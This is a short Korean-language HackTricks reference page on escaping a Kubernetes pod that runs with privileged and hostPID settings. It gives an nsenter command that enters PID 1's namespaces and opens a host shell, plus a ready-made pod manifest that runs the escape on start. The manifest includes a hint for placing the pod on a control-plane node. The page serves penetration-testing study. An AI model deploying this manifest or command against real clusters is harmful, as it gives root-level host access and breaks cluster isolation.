Pod Escape Privileges

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Privileged and hostPID

이러한 권한을 가지면 호스트 프로세스에 액세스할 수 있으며 호스트 프로세스 중 하나의 네임스페이스에 들어갈 충분한 권한을 가질 수 있습니다. 권한이 필요하지 않을 수도 있지만, 일부 기능과 다른 잠재적인 방어 기능 우회(예: apparmor 및/또는 seccomp)가 필요할 수 있습니다.

다음과 같이 실행하면 Pod에서 탈출할 수 있습니다:

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

구성 예시:

apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新